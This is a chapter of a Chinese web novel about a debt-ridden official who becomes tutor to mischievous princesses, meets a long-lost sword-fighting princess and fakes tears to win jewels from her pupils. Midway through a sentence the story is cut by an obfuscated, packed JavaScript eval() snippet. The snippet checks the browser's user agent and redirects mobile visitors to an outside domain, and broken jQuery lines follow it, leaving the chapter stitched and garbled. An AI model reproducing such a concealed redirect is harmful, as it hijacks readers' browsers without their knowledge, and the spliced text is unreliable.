40. 发财

作品:《团宠小妹天生反骨

    “那些物件退不得,咱们倒是能抽身,但女帝那边......实在不好交代。”


    丫鬟垂眸轻叹,绞着帕子的指尖微微发白。


    秦伶梦如被抽走筋骨般,瘫软在雕花椅上,衣袂随着动作滑落几分,露出纤细手腕:“罢了,有事我担责......”


    她摩挲着袖口的暗纹,思绪却飘向微薄的俸禄。


    首月不过六两银子,可放眼整个帝都,轻松些的差事月俸也才三四两。


    而那如山般的四千多两债务,像阴云般笼罩着她,若按部就班,怕是穷尽一生也难以偿清。


    “秦大人醒了吗?陛下宣你即刻入宫。”


    尖细嗓音突然刺破寂静,秦伶梦猛地抬头,只见若女手持拂尘立在门前。


    她慌忙起身,裙裾扫过地面发出细碎声响:“醒了醒了,这便随公公前去。”


    马车上,秦伶梦倚着雕花窗棂,望着车下疾走的若女,试探着开口:“四哥,可知陛下召见所为何事?不如同乘马车,也免得奔波劳累。”


    若女脚步顿了顿,冷硬的声音毫无温度:“秦大人慎言,我不过是个卑贱太监,当不起这声‘哥’。陛下旨意,岂是我能窥探的?”


    秦伶梦的手僵在掀起的帘幔处,缓缓放下,再未言语,只觉车厢内的空气愈发压抑。


    踏入金碧辉煌的大殿,女帝凤目如炬,死死盯着秦伶梦。


    她攥着广袖,眼神躲闪:“陛下......不知宣臣所为何事?”


    “从今日起,你担任太傅,教导诸位公主课业。”


    “我?”


    秦伶梦瞪大双眼,杏眸中满是震惊:“这......这是不是太过仓促?而且我管不了吧……”她从未想过,自己一个初入官场的新人,竟能获此重任。


    女帝唇角勾起一抹意味深长的笑:“连六部都敢冲撞的新人,还怕管不住几个公主?”


    “陛下,臣实在难当此任!白大人育有子女,经验丰富,定比臣更适合......”


    “别提白苡了!她教出来的两个孩子,能把我气死!”


    女帝说着,满是恨铁不成钢。


    “若你应下,赏银五千两。”


    话音未落,秦伶梦的眼睛瞬间亮如星辰:“当真?”


    得到肯定答复后,她喜不自胜,连叩首时都带着雀跃,蹦蹦跳跳地退下:“这可真是雪中送炭!既能升迁,又能还债,妙极!妙极!”


    债务偿清后,盈余颇丰。


    秦伶梦端坐在账房内,拨弄着算盘,盘算着用剩下的银钱,加上俸禄分红,足够给丫鬟小厮们发月钱。


    往后日子宽裕了,还能将家人接到身边团聚。


    正畅想着,一道机械音突兀响起:“宿主,恭喜完成‘名扬天下’进度百分之五。”


    “什么百分之五?”


    秦伶梦茫然四顾,不知这声音从何而来。


    原来,自她戳穿白木栖换卷阴谋,再到搅得六部风云骤变,这些事迹早已在帝都传得沸沸扬扬,街头巷尾皆是议论之声。


    “砰!”


    一本名为《舌尖上的中国》的书籍从天而降,结结实实砸在秦伶梦头顶。


    “这是你的奖励,日后每百分之就可拿到奖励,若是到达百分之五十,还能触发盲盒奖励。”


    她捂着脑袋跳脚。


    “下次能不能轻点!?再这样非得砸出个好歹!”


    待她缓过神来,那神秘系统却已消失不见。


    秦伶梦不敢耽搁,匆匆赶往醉仙楼。


    凭借醉仙楼绝佳的黄金地段,既能俯瞰江河奔流,又可聆听婉转戏音,再加上本身客流量极大,她带来的麻辣烫迅速火遍大街小巷。


    一时间,盗版层出不穷,供不应求的局面下,一碗麻辣烫竟被炒到天价,无数达官显贵争相预约。


    短短一月,秦伶梦的分红翻了二倍,入账三千两百两白银。


    秦伶梦踩着新绣鞋,指尖摩挲着泛黄的《论语》书卷,穿过垂满紫藤花的游廊。


    当雕花木门吱呀洞开的瞬间,悬挂在房梁下的绯色身影撞入眼帘。


    宁南公主的纱裙无风自动,白绫在颈间勒出骇人的弧度。


    "宁南公主!"


    书卷"啪嗒"坠地,她踉跄着扑过去。


    指尖触及冰凉的锦缎时,突然顿住。


    那看似致命的白绫竟松垮地挂在喉间,真正束缚公主的,是腰间缠绕三匝的金丝软绳,正穿过双臂形成精巧的禁锢。


    院外传来细碎脚步声,她转身时正撞见一众公主瞠目结舌的表情。


    "既已到齐,便开始授课。"


    秦伶梦掸了掸广袖,素手划过檀木讲案。


    "四公主安基?"


    第三次呼唤在空荡的课堂回响时,五公主绞着帕子上前,眼睫上还沾着水珠:"太傅...来的路上,四姐姐失足落水了。"


    秦伶梦扔下名册立马跑了出去。


    青石板上凌乱的绣鞋还带着水渍,池中漂浮的月白襦裙像朵凋谢的睡莲。


    秦伶梦望着水面倒影,忽然瞳孔骤缩。


    身后破空声起的刹那,她旋身躲过。


    绣着并蒂莲的宫装擦着耳畔坠入水中,溅起的水花浸湿了她的官服。


    浅池不过齐腰深,呛水的宫女狼狈地扒着池边。


    望着岸边掩嘴窃笑的公主们,秦伶梦忽然抚掌而笑,沾着池水的指尖划过鬓边步摇:"这出''美人救公主''的戏码,倒是比《列女传》精彩多了。"


    "没想到你还挺聪明的,这都躲过了。"


    四公主安基拨开垂柳。


    她居高临下地睨着秦伶梦,眉间点着的朱砂痣随着轻蔑的笑意微微颤动。


    秦伶梦屈膝行礼:"四公主谬赞了。陛下赐的月钱养着三十六个宫学陪读,若连这点眼力见都没有,岂不是辜负了女帝陛下''教化宗室''的苦心?"


    话音未落,她忽然凑近半步,压低声音道:"只是不知公主们拿这买生活的钱,换来的戏码值不值当?"


    "不过是些碎银,赏赐便是。"


    朱唇轻启,步遥在阳光下泛着冷光,说话的人漫不经心甩下钱袋,珠玉相撞的脆响,让人心乱。


    秦伶梦望着她笑骂道:"好好好,你这金枝玉叶的,待会儿可得多赏我几匣子碎银。"


    她冲围成一圈的公主们扬了扬手:"都散了吧,戌时前若背不出《论语前十页》,仔细你们的板子。"


    看着这群平素顽劣的金尊玉贵们竟真的鱼贯而退,秦伶梦蹙起柳叶眉,喃喃自语:"现在倒是稀奇......怎么突然听话了!”


    破空声骤起!


    寒光映着廊下红柱,秦伶梦旋身避开刀锋,只见柳可将军单手持着百炼钢刀,玄色锦袍猎猎作响。


    这位镇国女将虽未着甲胄,却自有一股能劈开千军万马的凛冽气势,刀锋上凝结的霜气,仿佛还带着塞北的朔风。


    "让太傅见笑了。"


    柳可收刀入鞘,环佩叮咚:"这群小崽子皮痒,非得我这把老骨头敲打敲打。"


    秦伶梦行礼告退,刚跨进学堂门槛,就看见几个公主正蹑手蹑脚往窗外爬。


    檀木案几被她拍得震颤,吓得众人如受惊的鹌鹑般僵在原地。


    "封门闭窗!"


    话音未落,雕花窗棂突然炸裂,碎木飞溅间,一道黑影裹挟着剑气破窗而入。


    蒙面少女踩着寒光流转的双剑凌空而立,玄色劲装沾满夜露,剑穗上还垂着半片残月形状的银饰。


    "全都不许动!"


    少女剑尖挑起秦伶梦的发簪。


    秦伶梦的瞳孔猛地收缩。


    今晨被几位公主作弄,原以为已是极限,却不想这个公主更是厉害。


    窗边的小太监刚发出一声惊叫,就被少女凌空点穴,重重摔在青砖地上。


    剑锋如灵蛇吐信,直取咽喉!


    秦伶梦旋身避开,广袖扫落案上竹简。


    少女攻势如暴雨倾盆,双剑在她颈间织出寒光闪烁的剑网,学堂内桌椅翻飞,砚台碎裂,墨汁在青砖上蜿蜒成狰狞的纹路。


    "你到底是何人?"


    秦伶梦侧身躲过致命


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769409|170315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一击,发间珠钗散落:"名册里,根本没有你的名字!"


    少女突然冷笑,剑锋堪堪停在离她喉间三寸之处。


    染着丹蔻的指尖慢条斯理揭下面纱,阳光透过破碎的窗棂洒在那张倾国倾城的脸上,眼尾朱砂痣随着笑意轻轻颤动,竟与女帝,有七分相似!


    “我随母皇姓,唤作柳狄统。”


    柳狄统斜倚在破碎的窗棂上,玄色劲装还沾着翻墙时的青苔碎屑,却掩不住眉眼间肆意张扬的锐气。


    她指尖绕着一缕断发,丹凤眼扫过满堂瑟缩的公主,冷笑如淬了冰:“流落民间十八载,如今奉诏归宗。按皇家规矩,自然该来这学堂讨个名分。与你们一起,也算没坏规矩。”


    秦伶梦刚要开口,却被五公主尖利的嗤笑打断:“什么阿猫阿狗也敢称公主?母皇膝下只有我们姐妹!”


    “就是,你还没坏规矩?!你都破窗而入了!”


    话音未落,寒光一闪,柳狄统的佩剑“哐当”钉入青砖,剑尖距离五公主绣鞋不过毫厘。


    金线绣就的牡丹裙摆剧烈颤抖,五公主踉跄着后退,差点撞到后面的人。


    “规矩?”


    柳狄统足尖轻点,凌空拔回佩剑,剑穗扫过五公主苍白的脸颊:“母皇说了,能不能进这宫门,全看本事。倒是你们……”


    她挑眉望向紧闭的门窗,残碎的窗纸在晚风里簌簌作响:“听说我要回来,急着关窗落锁的样子,倒像是见不得光的鼠辈。”


    三公主攥紧帕子,胭脂红的指甲几乎掐进掌心:“这般粗鄙做派,哪里像皇家血脉?”


    回应她的是柳狄统突然逼近的身影,带着硝烟气息的呼吸扫过她耳畔:“妹妹们在金窝里养尊处优太久,怕是忘了!”


    她猛地扯开衣领,露出锁骨处狰狞的疤痕:“这世道,能活着坐上皇位的,才配姓柳。”


    秦伶梦猛然拍案而起,震得砚台里的墨汁都溅了出来:“休得胡言!”


    她鬓边的银簪随着动作轻晃,眼底翻涌着惊怒:“陛下龙体康泰,定能福寿无疆,千秋万代!”


    “人哪有长生不老的道理?”


    公主们对视一眼,异口同声的反驳里带着天真的不屑。


    刹那间,秦伶梦眼眶通红,两滴清泪滚落腮边,哽咽声里满是凄惶:“我大哥被渣女打到残疾,唯一的女儿因为没钱被送走!父亲卧病在榻,全靠母亲一人操持全家生计。两个哥哥因是男子身,在这世道连糊口的营生都寻不到,四哥更是……更是为了全家甘愿入宫做小太监……”


    她突然抓住三公主的衣袖,指尖发颤:“你们这般口不择言,若是触怒天颜,陛下降罪下来,我这条命怕是保不住了!没了我,我那一家子老小可怎么活啊……”


    殿内死寂如夜,公主们望着秦伶梦惨白的脸色和凌乱的衣衫,突然觉得往日捉弄太傅的行径如此刺眼。


    五公主咬着唇,悄悄攥紧了衣袖,愧疚像藤蔓般缠住了她们的心。


    呜咽声还卡在喉间,秦伶梦便觉掌心一沉。


    三公主率先扯下鬓边嵌珠金簪,沉甸甸地塞进她手里,其余几人见状,也纷纷解下钗环,叮叮当当落了满掌。


    "做什么?快拿回去!"


    她假意推辞,袖中的指尖却早已蜷起,将滚烫的金器拢得更紧。


    "瞧你天可怜见的。"


    五公主别过脸,耳尖泛红:"原以为你和那些庸师一般,谁晓得......"


    话音未落,秦伶梦已将簪子尽数揣入袖袋,动作快得像偷食的狸猫。


    "当真收下了?"


    三公主瞪圆杏眼。


    "那你们可愿好好听课?"


    秦伶梦猛地抹干眼泪,眼底还泛着水光,却藏不住狡黠的笑意。


    "试试......就试试罢。"


    公主们支支吾吾应着,全然没瞧见太傅转身时翘起的嘴角。


    秦伶梦捏着袖中硌手的金器,心里乐开了花:女帝赏的银子再丰厚,哪比得上这现成的横财?几滴假泪就哄得小崽子们乖乖听话,看来这趟烂摊子,倒真是来对了!